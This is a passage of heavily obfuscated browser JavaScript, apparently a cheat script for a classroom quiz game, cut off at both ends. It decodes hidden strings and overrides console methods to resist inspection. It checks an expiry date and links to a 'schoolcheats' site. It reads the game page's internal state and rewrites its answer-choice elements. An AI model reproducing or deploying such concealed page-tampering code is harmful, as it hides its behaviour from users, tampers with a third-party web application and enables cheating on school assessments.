evfe','CMv0DxjUicHMDq','EejPChG','uwDzANK','sfjKDu8','zxzLBNq','uwfqA00','l3bSyxKVz29Sza','zM9UDc1Myw1PBa','ndC2nduWofb0B3bvDW','Aw4TDg9WoIaYma','lM5LDc9IBg9VAW','l2e+pc9WpG','uKfPvu8','q2HLC3qGrvnqia','B3v0zgf0zwqUia','BgvUz3rO','y2n1CMvKlcb3BW','B2zMC2v0vg9W','D2fhsKm','Dg9W','C3rHDgu','yMLUza','icaGicaGicaGDq','ywHnBKq','yIGXnsWGmtuSia','C3rHDgvoB2rL','Aw5Uzxjive1m','igDSAxOGpgjYpG','Cgf0Ag5HBwu','BJOGy2vUDgvYoW','C2L6ztOGmtrWEa','D0rRru8','l2rPC2nVCMq','lxvZzxiTC2vSzq','zg93','vNzhsKG','AKvVCuG','y29UDgvUDfDPBG','CNqGzgLZy29Yza','B1bpvei','y29UC29Szq','r2r1vKW','yxvSDa','y1zwDLK','EtOGiK51BML0BW','DgfIBgu','icmWmdaWzMy7iG','Dg9Y','vKfKt0S'];_0x57f3=function(){return _0x7605c7;};return _0x57f3();}(function(_0x58e3e4,_0x2bcd92){const _0x34b14c=_0x58e3e4();function _0x420364(_0x116f04,_0x37b5ba,_0x232d43,_0x393939){return _0x54ae(_0x393939- -0x292,_0x116f04);}function _0x7f9c5b(_0x55c670,_0x2ae826,_0x3fe310,_0x581d17){return _0x54ae(_0x2ae826- -0xf6,_0x3fe310);}while(!![]){try{const _0x5473f0=parseInt(_0x7f9c5b(0xbc,0x8e,0x55,0x1d))/(-0x1*-0x9b6+0x107b*-0x1+0x6c6)*(-parseInt(_0x420364(-0x129,-0x1ce,-0x1b8,-0x199))/(0x7cb+-0x2*0x1ec+-0x3f1))+-parseInt(_0x420364(-0x99,-0xf3,-0xa5,-0xfa))/(-0x14*0x45+0x1*0x92f+0x2*-0x1e4)+parseInt(_0x420364(-0x139,-0x151,-0x1bf,-0x14e))/(0x169c+-0x112c+-0x56c)+parseInt(_0x420364(-0x69,-0x111,-0x67,-0xd4))/(0xd09+0x12*0x95+0xc2*-0x1f)+parseInt(_0x420364(-0x12f,-0x6e,-0x9c,-0xc3))/(0x19d2+-0x2500+0xc*0xef)+parseInt(_0x420364(-0x102,-0x1aa,-0x1ed,-0x177))/(0x2671+-0x2d*-0x1e+-0x2bb0)*(parseInt(_0x420364(-0xf3,-0x144,-0x171,-0x133))/(0x10b6+-0xd5*0x22+0xb9c))+parseInt(_0x7f9c5b(0x49,0x9f,0x7a,0xfc))/(0x2662+0x1*-0xeae+-0x17ab)*(-parseInt(_0x420364(-0xa8,-0xb4,-0x14c,-0x103))/(0x139*-0x5+0x1*-0x25e7+-0x1607*-0x2));if(_0x5473f0===_0x2bcd92)break;else _0x34b14c['push'](_0x34b14c['shift']());}catch(_0x5c04e8){_0x34b14c['push'](_0x34b14c['shift']());}}}(_0x57f3,0xbbc2c+0x2ee7*-0x4+-0x4cf44));function _0x54ae(_0x32ca6d,_0x4354a0){const _0xf8b9b4=_0x57f3();return _0x54ae=function(_0x1392c2,_0x16f28f){_0x1392c2=_0x1392c2-(-0x9d*-0x11+-0x602+0x7*-0x7f);let _0x15dc80=_0xf8b9b4[_0x1392c2];if(_0x54ae['mhbGyO']===undefined){var _0x258104=function(_0x441e78){const _0x133ce7='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x2d1920='',_0x3cd12e='',_0x298406=_0x2d1920+_0x258104;for(let _0x58cec1=0x141b*-0x1+-0x2*0x916+0x2647,_0x505ebc,_0x5d61d3,_0x36a0b6=0x58b+-0x1f14+0x1989;_0x5d61d3=_0x441e78['charAt'](_0x36a0b6++);~_0x5d61d3&&(_0x505ebc=_0x58cec1%(0x2395+-0x151f+-0xe72)?_0x505ebc*(0x1*0x1945+-0xb*0x8a+-0x1317)+_0x5d61d3:_0x5d61d3,_0x58cec1++%(-0xfc6*0x1+-0x11fd+0x21c7))?_0x2d1920+=_0x298406['charCodeAt'](_0x36a0b6+(0xd*0xd+0x2090+-0x6a3*0x5))-(-0x2*-0x3e2+-0x7*-0x512+-0x2b38)!==0x1a*0x74+0x1*0x905+-0x163*0xf?String['fromCharCode'](0x65*0x13+-0x15e0+0x7b*0x20&_0x505ebc>>(-(-0x22b5+0x1cc1+0x5f6)*_0x58cec1&0x1e1e+-0x1*-0xa1f+0x47*-0x91)):_0x58cec1:-0x163d+0x143e+0x1ff){_0x5d61d3=_0x133ce7['indexOf'](_0x5d61d3);}for(let _0x2baa6f=0x5*-0xe0+0x4*-0x4f2+0x1828,_0x590193=_0x2d1920['length'];_0x2baa6f<_0x590193;_0x2baa6f++){_0x3cd12e+='%'+('00'+_0x2d1920['charCodeAt'](_0x2baa6f)['toString'](0x2*-0x691+-0xdd3+0x1b05))['slice'](-(0x9d+0x2*-0xbac+-0x1*-0x16bd));}return decodeURIComponent(_0x3cd12e);};_0x54ae['lpamzu']=_0x258104,_0x32ca6d=arguments,_0x54ae['mhbGyO']=!![];}const _0x1c640f=_0xf8b9b4[-0x1fcd*0x1+0x155a+-0x1*-0xa73],_0x2d25b7=_0x1392c2+_0x1c640f,_0x32a88d=_0x32ca6d[_0x2d25b7];if(!_0x32a88d){const _0x1d1d1e=function(_0x118c6e){this['WxeKBR']=_0x118c6e,this['ipCGnw']=[-0x6*0x493+-0x3fa+0x649*0x5,0x6dc*0x1+0x1fcb+-0x7bb*0x5,0x1c39+0x4be+-0x57*0x61],this['QLSZyk']=function(){return'newState';},this['QcSjOp']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['DpbaGK']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x1d1d1e['prototype']['YRYoIs']=function(){const _0x3fd66a=new RegExp(this['QcSjOp']+this['DpbaGK']),_0x3260c7=_0x3fd66a['test'](this['QLSZyk']['toString']())?--this['ipCGnw'][0x7b2+-0x94*-0x13+0x1*-0x12ad]:--this['ipCGnw'][0x3d5*0x3+-0xeca+-0x3*-0x119];return this['Csibqi'](_0x3260c7);},_0x1d1d1e['prototype']['Csibqi']=function(_0x196042){if(!Boolean(~_0x196042))return _0x196042;return this['FjhCuO'](this['WxeKBR']);},_0x1d1d1e['prototype']['FjhCuO']=function(_0x314964){for(let _0xff7b1d=0x8*0x350+-0xc*-0x265+0x7e4*-0x7,_0x48f731=this['ipCGnw']['length'];_0xff7b1d<_0x48f731;_0xff7b1d++){this['ipCGnw']['push'](Math['round'](Math['random']())),_0x48f731=this['ipCGnw']['length'];}return _0x314964(this['ipCGnw'][-0x5cd+-0x12b5*-0x2+0x1*-0x1f9d]);},new _0x1d1d1e(_0x54ae)['YRYoIs'](),_0x15dc80=_0x54ae['lpamzu'](_0x15dc80),_0x32ca6d[_0x2d25b7]=_0x15dc80;}else _0x15dc80=_0x32a88d;return _0x15dc80;},_0x54ae(_0x32ca6d,_0x4354a0);}const _0x198202=(function(){const _0x101fb3={};_0x101fb3[_0x4276e3(-0x256,-0x250,-0x20a,-0x237)]=function(_0x42cdb9,_0x220b4e){return _0x42cdb9==_0x220b4e;},_0x101fb3[_0x4276e3(-0x1be,-0x236,-0x22e,-0x2a4)]=function(_0xa8aa96,_0x92dcfb){return _0xa8aa96!=_0x92dcfb;};function _0x4276e3(_0x44481d,_0x24284d,_0x19f9c3,_0x38e3f6){return _0x54ae(_0x19f9c3- -0x379,_0x44481d);}_0x101fb3[_0x4276e3(-0x1c4,-0x24b,-0x223,-0x1b2)]=_0x4276e3(-0x216,-0x1b2,-0x220,-0x24b);const _0x28422f=_0x101fb3;function _0x47dca7(_0x306753,_0x4b9812,_0x1e6fc1,_0xe7f2d){return _0x54ae(_0xe7f2d- -0x14d,_0x1e6fc1);}let _0x3e5e5f=!![];return function(_0x5898b9,_0x129324){function _0x445c3a(_0x5dc49d,_0x399341,_0x2cc9db,_0x2c51fa){return _0x47dca7(_0x5dc49d-0xb5,_0x399341-0x14d,_0x2cc9db,_0x2c51fa- -0xc4);}function _0x885a10(_0x39f8d1,_0x5765a6,_0x23d0b6,_0x5e6591){return _0x4276e3(_0x5765a6,_0x5765a6-0x8c,_0x39f8d1-0x176,_0x5e6591-0xc3);}const _0x1519ac={'nlYef':function(_0x131f44,_0x489ab8){function _0x3ccbd9(_0x4ea0b7,_0x3a3723,_0x1ec2d7,_0x4fe8f2){return _0x54ae(_0x1ec2d7- -0x3a2,_0x4ea0b7);}return _0x28422f[_0x3ccbd9(-0x271,-0x20e,-0x233,-0x27a)](_0x131f44,_0x489ab8);},'LqlnM':function(_0x59f0a0,_0x556c50){function _0x225578(_0x37a910,_0x21f6db,_0x5f524a,_0x10673b){return _0x54ae(_0x37a910-0x175,_0x5f524a);}return _0x28422f[_0x225578(0x2c0,0x26d,0x27e,0x281)](_0x59f0a0,_0x556c50);}};if(_0x28422f['gltnp']!==_0x28422f[_0x885a10(-0xad,-0x116,-0x4a,-0x46)]){if(_0x1519ac[_0x445c3a(-0x37,-0x6b,-0xcb,-0x8e)](_0x58dfb8['children']['length'],0x98*-0x13+0xef9*-0x2+0x293d)&&_0x1519ac[_0x445c3a(-0xf8,-0xfd,-0xdb,-0x10d)](_0x3f0d90[_0x885a10(-0x68,-0x30,-0x67,-0xce)][_0xb29722][_0x885a10(-0x68,-0x49,-0xd8,-0x7)][0x1cb3+-0x1*0xb6f+-0x1143][_0x885a10(-0x63,-0x46,-0x8c,-0xb7)],_0x5f53f9[_0x885a10(-0x8f,-0x55,-0x9c,-0x8d)]))_0x4d04b7['children'][_0x1b43a0][_0x445c3a(-0x9b,-0x37,-0xe4,-0x76)][0x3d*-0x33+-0x2482+0x30aa][_0x885a10(-0x63,-0x84,-0x55,-0x66)]=_0x274d5a[_0x445c3a(-0xc7,-0x39,-0x70,-0x9d)];}else{const _0x2db235=_0x3e5e5f?function(){function _0x466efe(_0x227407,_0x2eabe7,_0x5c502c,_0x4a674c){return _0x445c3a(_0x227407-0xe9,_0x2eabe7-0xca,_0x2eabe7,_0x4a674c-0x105);}if(_0x129324){const _0x2d97ce=_0x129324[_0x466efe(0x89,0x114,0xa7,0xd2)](_0x5898b9,arguments);return _0x129324=null,_0x2d97ce;}}:function(){};return _0x3e5e5f=![],_0x2db235;}};}()),_0x1725b4=_0x198202(this,function(){function _0xe08066(_0xd8db69,_0x6faf43,_0x5839d4,_0x336640){return _0x54ae(_0xd8db69- -0x229,_0x6faf43);}function _0x51434e(_0x1ee52c,_0x1e0689,_0x44c4a2,_0x371492){return _0x54ae(_0x44c4a2-0x325,_0x1ee52c);}return _0x1725b4['toString']()[_0x51434e(0x4c0,0x4c4,0x4b1,0x493)](_0xe08066(-0x50,-0x1e,-0x5f,-0x2e)+'+$')[_0xe08066(-0x12c,-0x1a3,-0xd0,-0x12b)]()[_0xe08066(-0x54,-0x1d,0x8,-0x5d)+'r'](_0x1725b4)[_0xe08066(-0x9d,-0x4a,-0xdc,-0xd2)](_0xe08066(-0x50,0x8,0x3,-0xa4)+'+$');});_0x1725b4();const _0x284fca=(function(){const _0x25b7f8={};_0x25b7f8['KwFOj']=function(_0x3634bd,_0x534740){return _0x3634bd!==_0x534740;},_0x25b7f8[_0x5a4b94(-0x20a,-0x1d4,-0x1a0,-0x169)]='goxzq';function _0x5a4b94(_0x2a7d7d,_0xffd7a8,_0x5a4f63,_0x295398){return _0x54ae(_0xffd7a8- -0x36d,_0x295398);}const _0x35ad3d=_0x25b7f8;let _0xf7dfde=!![];return function(_0x3ca338,_0x2f5598){function _0x36c7d(_0x2b06b0,_0x20c242,_0x3a6a10,_0x219e52){return _0x5a4b94(_0x2b06b0-0xca,_0x219e52-0x27d,_0x3a6a10-0x36,_0x2b06b0);}function _0xd1d57c(_0x349193,_0x1607bd,_0x3b689e,_0x294d44){return _0x5a4b94(_0x349193-0x20,_0x349193-0x72a,_0x3b689e-0x84,_0x1607bd);}if(_0x35ad3d['KwFOj'](_0xd1d57c(0x56e,0x584,0x5e1,0x5d7),_0x36c7d(0x18,0x72,0x38,0x72))){const _0x2c58ff=_0xf7dfde?function(){function _0x35e6fe(_0x145f87,_0x4e8425,_0x201fb2,_0x4426eb){return _0x36c7d(_0x201fb2,_0x4e8425-0x187,_0x201fb2-0xec,_0x145f87-0x268);}function _0x4f251a(_0x3fcbf0,_0x199d24,_0x18e940,_0x19f9dd){return _0xd1d57c(_0x19f9dd- -0x413,_0x3fcbf0,_0x18e940-0xf2,_0x19f9dd-0x175);}if(_0x35ad3d[_0x35e6fe(0x26f,0x2c2,0x28f,0x227)](_0x35ad3d[_0x35e6fe(0x311,0x31c,0x2a0,0x301)],_0x35ad3d[_0x4f251a(0x10e,0x197,0x16f,0x143)])){if(_0x363b84){const _0x300152=_0x1fa886[_0x4f251a(0x1ac,0x127,0x1f8,0x188)](_0x1ed091,arguments);return _0x5c17eb=null,_0x300152;}}else{if(_0x2f5598){const _0x38bdb8=_0x2f5598[_0x4f251a(0x1b0,0x12e,0x1c5,0x188)](_0x3ca338,arguments);return _0x2f5598=null,_0x38bdb8;}}}:function(){};return _0xf7dfde=![],_0x2c58ff;}else{const _0xbc0f95=_0x1581d7['constructo'+'r'][_0x36c7d(0x80,0x69,0xcc,0x99)][_0x36c7d(-0xe,0x2c,-0x20,0x38)](_0x1dfd86),_0xc2d911=_0x425a4a[_0x1d13b7],_0x168ca8=_0x391535[_0xc2d911]||_0xbc0f95;_0xbc0f95[_0xd1d57c(0x4c9,0x4ea,0x4f1,0x4a9)]=_0x3d1859[_0xd1d57c(0x4e5,0x54d,0x4dc,0x4c8)](_0x1db099),_0xbc0f95[_0xd1d57c(0x4ba,0x493,0x4e4,0x52f)]=_0x168ca8['toString'][_0xd1d57c(0x4e5,0x50a,0x518,0x474)](_0x168ca8),_0x5df9b8[_0xc2d911]=_0xbc0f95;}};}()),_0xe7b0d1=_0x284fca(this,function(){const _0x43a689={'iGroX':_0x3f7e55(-0x85,-0xcb,-0xeb,-0xd7)+'+$','PnriE':function(_0x43e76c,_0xa19e6){return _0x43e76c!==_0xa19e6;},'ufVMB':_0x3f7e55(-0x1a4,-0xe9,-0x145,-0xdf),'xgmhc':function(_0x381564,_0x5c381e){return _0x381564+_0x5c381e;},'waGJC':function(_0x3b600b,_0x47cd33){return _0x3b600b+_0x47cd33;},'JzNpg':_0x3f7e55(-0x144,-0x1e2,-0x1b1,-0x172)+'nction()\x20','XdqhT':_0xccb6b5(0xad,0x100,0x12d,0xa2)+_0xccb6b5(0x197,0x137,0xc4,0xc3)+_0x3f7e55(-0x1be,-0x178,-0x1bf,-0x175)+'\x20)','Hmejh':function(_0x177547){return _0x177547();},'YLCzz':_0xccb6b5(0x8f,0xdb,0xc1,0xb3),'NQBNq':_0x3f7e55(-0x15a,-0x152,-0x133,-0x185),'GduVL':_0x3f7e55(-0x15c,-0x19b,-0x178,-0x19a),'VAdOK':_0x3f7e55(-0x1b3,-0x1ae,-0x169,-0x110),'ZdteX':_0x3f7e55(-0x19b,-0x14b,-0x184,-0x1ca),'mhFwe':function(_0x42821e,_0x57e994){return _0x42821e<_0x57e994;}};function _0xccb6b5(_0x50826d,_0x36ce68,_0x32dc13,_0x32ebe3){return _0x54ae(_0x36ce68- -0x75,_0x32ebe3);}const _0x511ddc=function(){function _0x3e86ef(_0x92524c,_0x4050eb,_0x1f229a,_0x338244){return _0x3f7e55(_0x92524c-0x73,_0x92524c,_0x4050eb-0x271,_0x338244-0x9c);}function _0x5a6314(_0x132061,_0xe09f80,_0x93bde2,_0x9455dd){return _0x3f7e55(_0x132061-0x142,_0x9455dd,_0xe09f80-0x643,_0x9455dd-0x1da);}if(_0x43a689[_0x5a6314(0x550,0x513,0x49f,0x55a)](_0x43a689[_0x3e86ef(0x6f,0xa3,0x77,0xa7)],_0x5a6314(0x578,0x55a,0x4ee,0x58a))){let _0x5c6b58;try{_0x43a689[_0x5a6314(0x556,0x513,0x4f3,0x4e6)](_0x3e86ef(0x1ac,0x14a,0x14d,0x153),_0x5a6314(0x517,0x51c,0x4dc,0x54c))?_0x2baa6f['children'][_0x590193][_0x5a6314(0x4b6,0x504,0x53f,0x4b5)+'d'](_0x1d1d1e):_0x5c6b58=Function(_0x43a689['xgmhc'](_0x43a689[_0x5a6314(0x50a,0x4a4,0x434,0x4a9)](_0x43a689[_0x3e86ef(0x140,0x15b,0xe8,0x112)],_0x43a689[_0x5a6314(0x4b5,0x529,0x4cd,0x512)]),');'))();}catch(_0x2af366){_0x5c6b58=window;}return _0x5c6b58;}else return _0x38d6ca[_0x5a6314(0x470,0x47c,0x411,0x415)]()['search'](_0x3e86ef(0x1ab,0x186,0x11d,0x175)+'+$')[_0x5a6314(0x42c,0x47c,0x484,0x4ed)]()['constructo'+'r'](_0x14fd8c)['search'](_0x43a689[_0x3e86ef(0x5a,0xad,0xce,0x3e)]);},_0x124623=_0x43a689[_0xccb6b5(0xa3,0x103,0xa7,0xa8)](_0x511ddc);function _0x3f7e55(_0x5c8911,_0x2d142c,_0xd7c06f,_0x13b39c){return _0x54ae(_0xd7c06f- -0x2c4,_0x2d142c);}const _0x2e7fd7=_0x124623[_0xccb6b5(0x63,0xc6,0x8e,0x95)]=_0x124623['console']||{},_0x5645a1=[_0x43a689[_0xccb6b5(0x162,0x158,0x1a1,0x150)],_0x43a689[_0x3f7e55(-0x13b,-0xad,-0x114,-0x144)],_0x43a689[_0xccb6b5(0x7a,0xc7,0x123,0x114)],_0x3f7e55(-0x128,-0xb7,-0x10d,-0x174),_0x43a689[_0xccb6b5(0x8e,0xce,0x143,0x105)],_0x43a689['ZdteX'],'trace'];for(let _0x3717b5=0x41b*-0x1+0xfca+-0xbaf;_0x43a689[_0xccb6b5(0x1c5,0x15b,0x1b3,0x1c3)](_0x3717b5,_0x5645a1[_0x3f7e55(-0x145,-0x16c,-0x1a2,-0x1cb)]);_0x3717b5++){const _0x3f45ee=_0x284fca[_0xccb6b5(0xf8,0x160,0x19e,0x125)+'r']['prototype'][_0xccb6b5(0x94,0xb3,0xa3,0x65)](_0x284fca),_0x2f23b2=_0x5645a1[_0x3717b5],_0x5470fe=_0x2e7fd7[_0x2f23b2]||_0x3f45ee;_0x3f45ee['__proto__']=_0x284fca[_0x3f7e55(-0x1f5,-0x1ee,-0x19c,-0x1d7)](_0x284fca),_0x3f45ee[_0xccb6b5(0x76,0x88,0xde,0x81)]=_0x5470fe['toString'][_0xccb6b5(0xfc,0xb3,0x79,0x4f)](_0x5470fe),_0x2e7fd7[_0x2f23b2]=_0x3f45ee;}});_0xe7b0d1(),((async()=>{function _0x2b288a(_0x5cf463,_0x2372a1,_0x321a7d,_0x2b3f49){return _0x54ae(_0x321a7d- -0x310,_0x2372a1);}const _0xdcb7ad={'ihpwA':function(_0x489246,_0x1bde8d){return _0x489246!=_0x1bde8d;},'argkU':_0x2b288a(-0x1f7,-0x1b8,-0x1f7,-0x1ff),'rQOmV':function(_0x2f3f51,_0x5ae8aa){return _0x2f3f51(_0x5ae8aa);},'doMMy':'#app\x20>\x20div'+_0x2e5608(0x429,0x4ee,0x451,0x487),'OCRUI':_0x2e5608(0x474,0x47c,0x49e,0x48c),'NbWQV':_0x2e5608(0x446,0x3d5,0x431,0x438),'figvm':function(_0x4a6e40,_0x2801d6){return _0x4a6e40(_0x2801d6);},'RkCbZ':_0x2e5608(0x475,0x3d7,0x435,0x431)+_0x2e5608(0x3e4,0x444,0x408,0x43a)+']','QaPkM':function(_0x287ca1,_0x132c48){return _0x287ca1!=_0x132c48;},'MlkmM':_0x2e5608(0x49b,0x478,0x405,0x459),'LPKxY':_0x2b288a(-0x1c5,-0x225,-0x1d9,-0x17c),'zDXOm':_0x2e5608(0x497,0x4c5,0x4c3,0x482),'oPOTB':_0x2e5608(0x48d,0x4c4,0x4cc,0x4eb)+_0x2e5608(0x4bc,0x3fb,0x49c,0x452)+_0x2e5608(0x473,0x42e,0x4d0,0x4a5)+_0x2e5608(0x42c,0x42f,0x3bf,0x427)+_0x2b288a(-0x157,-0x1de,-0x1bb,-0x183)+_0x2b288a(-0x1bb,-0x178,-0x145,-0x18d)+_0x2b288a(-0x23b,-0x1de,-0x1d7,-0x182)+_0x2e5608(0x4c4,0x514,0x487,0x4b6),'QDRrn':'https://gl'+_0x2b288a(-0x132,-0x1a6,-0x157,-0x143)+_0x2b288a(-0x22c,-0x253,-0x1dd,-0x1bc),'miDNl':function(_0x4c9eb4,_0x3d822b){return _0x4c9eb4===_0x3d822b;},'AHyxq':_0x2b288a(-0x102,-0xf5,-0x15c,-0x116),'bwxVv':_0x2b288a(-0x17c,-0xe5,-0x153,-0x155),'zPQoL':function(_0x4d5343,_0x148b6e){return _0x4d5343(_0x148b6e);},'opSik':'You\x20must\x20b'+_0x2e5608(0x547,0x52b,0x54c,0x50f)+'d\x20quest\x20ga'+_0x2e5608(0x51a,0x4c3,0x4bf,0x4ee),'aKqXC':function(_0x5310fe,_0x3930ce){return _0x5310fe(_0x3930ce);},'WZEoY':_0x2e5608(0x480,0x4a6,0x44d,0x44f)+_0x2b288a(-0x197,-0x21f,-0x1be,-0x22d),'RAiUO':function(_0x160aa5,_0x337474){return _0x160aa5!==_0x337474;},'DSxtG':function(_0xd03fa5,_0x38ec1b){return _0xd03fa5===_0x38ec1b;},'oaVPO':_0x2e5608(0x489,0x4ac,0x522,0x4b0),'FQrns':function(_0x3e9437,_0x3c6ccb){return _0x3e9437-_0x3c6ccb;},'Hygeq':function(_0x5538c6,_0x425f7e){return _0x5538c6+_0x425f7e;},'slitH':'div','kqVKk':function(_0x14c9ff,_0x318d3c){return _0x14c9ff>_0x318d3c;},'uSdTW':_0x2b288a(-0x174,-0x1f7,-0x1aa,-0x1e0)+_0x2b288a(-0x1ad,-0x1a2,-0x1ef,-0x1b6)+_0x2e5608(0x4dc,0x4e5,0x457,0x492)+'t\x20to\x20get\x20t'+'he\x20updated'+_0x2e5608(0x4a3,0x4a7,0x4df,0x503),'FGWtS':function(_0xb6b717){return _0xb6b717();},'zVpym':'Script\x20is\x20'+'broken.\x20Do'+_0x2e5608(0x4c8,0x4ef,0x537,0x4bf)+_0x2e5608(0x4b1,0x47e,0x4b5,0x4a8)+_0x2e5608(0x4ea,0x579,0x505,0x50b)+_0x2e5608(0x528,0x4b2,0x54b,0x4d5),'zrulB':_0x2e5608(0x4b4,0x4ed,0x557,0x4f6)+_0x2b288a(-0x22d,-0x200,-0x1c8,-0x1e0)+_0x2b288a(-0x1c1,-0x1a0,-0x1f3,-0x222)+_0x2e5608(0x4fb,0x4c7,0x512,0x501)};function _0x2e5608(_0x2cf728,_0x2f6ffe,_0x139fbb,_0x23cff5){return _0x54ae(_0x23cff5-0x32f,_0x2cf728);}try{if(_0xdcb7ad[_0x2e5608(0x442,0x4ad,0x434,0x435)](Date[_0x2e5608(0x47d,0x4e5,0x4b4,0x4d6)](),0x1*-0x1be212c60cc+0x749d55edc4+-0x2ca22d4e749*-0x1)){const _0x5b1ddd=_0xdcb7ad[_0x2e5608(0x453,0x3bb,0x433,0x42a)](confirm,_0xdcb7ad[_0x2b288a(-0x14c,-0xf3,-0x150,-0x199)]);if(_0x5b1ddd)return window['open'](_0x2e5608(0x4b4,0x4b4,0x506,0x4f6)+'hoolcheats'+_0x2e5608(0x45f,0x402,0x481,0x44c)+_0x2b288a(-0x156,-0x153,-0x13e,-0x113));}else{((async()=>{const _0x50bca0={'vSdEZ':function(_0x584ecc,_0x2c0092){return _0xdcb7ad['rQOmV'](_0x584ecc,_0x2c0092);},'PVpoE':_0xdcb7ad['MlkmM'],'lZTQk':_0xdcb7ad[_0x21ba06(0x306,0x2e7,0x2b5,0x2fb)],'WBWEJ':_0xdcb7ad[_0x21ba06(0x2af,0x332,0x352,0x312)],'lWVEA':function(_0x53b1fb,_0xe1bb17){function _0x4121ec(_0x465753,_0x56817b,_0x59915c,_0x2a928d){return _0x21ba06(_0x465753-0x1c7,_0x2a928d,_0x59915c-0x13f,_0x56817b-0x8b);}return _0xdcb7ad[_0x4121ec(0x30f,0x311,0x2dc,0x2de)](_0x53b1fb,_0xe1bb17);},'cVVvY':_0xdcb7ad[_0xf87103(0x36f,0x30f,0x368,0x2c5)],'cPbTE':_0xdcb7ad[_0xf87103(0x2a4,0x2dc,0x322,0x2b0)]};function _0xf87103(_0x400548,_0x521dea,_0x21889d,_0x1b0d57){return _0x2b288a(_0x400548-0xc1,_0x400548,_0x521dea-0x4e5,_0x1b0d57-0x32);}function _0x21ba06(_0xaa1c44,_0x157399,_0x8bcf78,_0x3a153f){return _0x2e5608(_0x157399,_0x157399-0x1a2,_0x8bcf78-0x7b,_0x3a153f- -0x19b);}if(_0xdcb7ad[_0x21ba06(0x290,0x2aa,0x36d,0x306)](_0xdcb7ad[_0x21ba06(0x354,0x292,0x2b2,0x2e5)],_0xdcb7ad['AHyxq'])){var _0x20bb7c=document[_0x21ba06(0x343,0x3ac,0x302,0x36c)+'ent'](_0xdcb7ad[_0x21ba06(0x243,0x2db,0x29a,0x288)]);document[_0x21ba06(0x2cb,0x25a,0x25a,0x287)][_0xf87103(0x3a2,0x35a,0x3b9,0x3c3)+'d'](_0x20bb7c),window['alert']=_0x20bb7c['contentWin'+_0xf87103(0x2ef,0x30a,0x2b4,0x2d6)][_0x21ba06(0x2a3,0x34b,0x367,0x2ff)],window[_0x21ba06(0x31f,0x3b4,0x3a8,0x359)]=_0x20bb7c[_0xf87103(0x366,0x30d,0x359,0x2d4)+_0xf87103(0x2b3,0x30a,0x30c,0x37a)][_0xf87103(0x407,0x39a,0x3fe,0x3e3)],window[_0x21ba06(0x2ff,0x3ac,0x2c7,0x336)]=_0x20bb7c[_0x21ba06(0x30b,0x292,0x280,0x2cc)+_0xf87103(0x2f7,0x30a,0x381,0x34d)][_0xf87103(0x3ce,0x377,0x3bd,0x35a)],window['location']['pathname']!=_0xdcb7ad['argkU']&&_0xdcb7ad[_0xf87103(0x312,0x2d0,0x2d9,0x25e)](alert,_0xdcb7ad[_0xf87103(0x356,0x3ac,0x405,0x357)]),_0xdcb7ad['aKqXC'](alert,_0xdcb7ad['WZEoY']),interval=setInterval(()=>{if(_0xdcb7ad[_0x5d4562(0x1f7,0x18c,0x1d2,0x25c)](window[_0x398027(0x480,0x4a8,0x464,0x43b)][_0x5d4562(0x177,0x15f,0x1eb,0x1c2)],_0xdcb7ad[_0x398027(0x433,0x430,0x441,0x465)]))return _0xdcb7ad['rQOmV'](clearInterval,interval);function _0x398027(_0x699d16,_0xc1718c,_0x5014f3,_0x38f4a7){return _0x21ba06(_0x699d16-0xe6,_0x38f4a7,_0x5014f3-0x1c9,_0x699d16-0x122);}function _0x5d4562(_0x4a1ae8,_0x6139bf,_0x55dff0,_0x4cf4a2){return _0x21ba06(_0x4a1ae8-0x198,_0x4cf4a2,_0x55dff0-0x4c,_0x4a1ae8- -0x14c);}data=Object['values'](document['querySelec'+_0x5d4562(0x18a,0x1ea,0x178,0x1fe)](_0xdcb7ad[_0x5d4562(0x157,0x101,0x1b0,0x1c1)]))[0x23d0+-0xa4*0xa+-0x9cd*0x3][_0x398027(0x451,0x470,0x46f,0x3e7)][0x43+0x165c+0xc1*-0x1e][_0x5d4562(0x142,0xeb,0xfb,0x176)][_0x5d4562(0x174,0x16f,0x1b4,0x1cc)][_0x5d4562(0x16f,0x182,0x17e,0x19f)];if(data?.[_0x5d4562(0x18e,0x1db,0x1cb,0x1bc)]==_0xdcb7ad[_0x5d4562(0x192,0x1f4,0x15d,0x17f)]){if(_0xdcb7ad[_0x5d4562(0x1b5,0x172,0x1c6,0x16a)]==='TzGsO'){const _0x4524cf=_0x5627b0[_0x5d4562(0x226,0x27a,0x1f6,0x1e4)](_0x3ed398,arguments);return _0x30790c=null,_0x4524cf;}else{boxes=data[_0x5d4562(0x1b1,0x1b6,0x1ec,0x144)],choiceDiv=document[_0x398027(0x469,0x457,0x43d,0x441)+'tor'](_0x398027(0x449,0x41c,0x482,0x423)+'=\x27arts__re'+_0x398027(0x44d,0x425,0x4a7,0x3dc)+']')?.[_0x398027(0x451,0x41b,0x3e6,0x436)][0x260a*0x1+-0x1241+-0x1a6*0xc];if(!choiceDiv)return _0xdcb7ad['figvm'](clearInterval,interval);if(!document[_0x398027(0x469,0x4dc,0x456,0x450)+'tor'](_0xdcb7ad['RkCbZ']))boxes[_0x398027(0x495,0x4da,0x448,0x4d4)]((_0x5bac2d,_0x591fc2)=>{const _0x5bb220={'PLcen':function(_0x12f2fd,_0xda097e){function _0x510bc4(_0x1ea33b,_0x248dfc,_0x39916d,_0x322439){return _0x54ae(_0x39916d-0x23c,_0x1ea33b);}return _0x50bca0[_0x510bc4(0x3b4,0x2ca,0x33d,0x398)](_0x12f2fd,_0xda097e);},'mPTNc':_0x38e9fc(-0x75,-0xbc,-0x11,-0x7e)+_0x182d73(-0x1a5,-0x1b8,-0x145,-0x205)+_0x182d73(-0x176,-0x16d,-0x104,-0x170)+_0x182d73(-0x18d,-0x1a7,-0x1d7,-0x1e8)+_0x38e9fc(-0x51,-0x53,0x32,-0x8)+'ersion?','QgYjy':_0x182d73(-0x13f,-0x166,-0x14e,-0x10a)+_0x182d73(-0x1be,-0x178,-0x19a,-0x17e)+_0x38e9fc(-0x58,-0x107,-0x103,-0xc7)+_0x38e9fc(-0x28,0x32,-0x24,-0x12)};function _0x38e9fc(_0x4ea44a,_0x3def63,_0x4a4cdb,_0x85b802){return _0x5d4562(_0x85b802- -0x22c,_0x3def63-0x176,_0x4a4cdb-0x1dd,_0x3def63);}function _0x182d73(_0x36b77e,_0x177e06,_0x2a1daf,_0xc69cdb){return _0x5d4562(_0x36b77e- 